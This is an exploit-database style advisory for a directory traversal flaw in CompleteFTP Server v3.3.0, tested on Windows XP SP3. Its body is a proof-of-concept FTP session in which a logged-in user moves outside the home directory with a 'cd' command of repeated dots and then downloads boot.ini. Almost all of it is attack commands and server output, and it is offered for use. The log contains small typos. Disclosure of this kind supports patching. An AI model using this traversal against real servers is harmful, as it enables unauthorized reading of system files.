CompleteFTP Server Directory Traversal

# Exploit Title: CompleteFTP Server Directory Traversal

# Author: zombiefx

# Software Link: http://www.enterprisedt.com/products/completeftp/download/CompleteFTPSetup.exe

# Version: CompleteFTP Server v 3.3.0

# Tested on: Windows XP SP3

# CVE:

# Code:

230 User test logged in.

Ftp> pwd

257 "/Home/test" is current directory.

Ftp> cd ................

250 Directory changed to "/Home/test /................".

Ftp> get boot. ini

200 PORT command successful.

150 Opening ASCII mode data connection for boot. ini

226 Transfer complete.

Ftp: 215 bytes encoded ed in 0.14 Seconds 1.54 Kbytes/sec.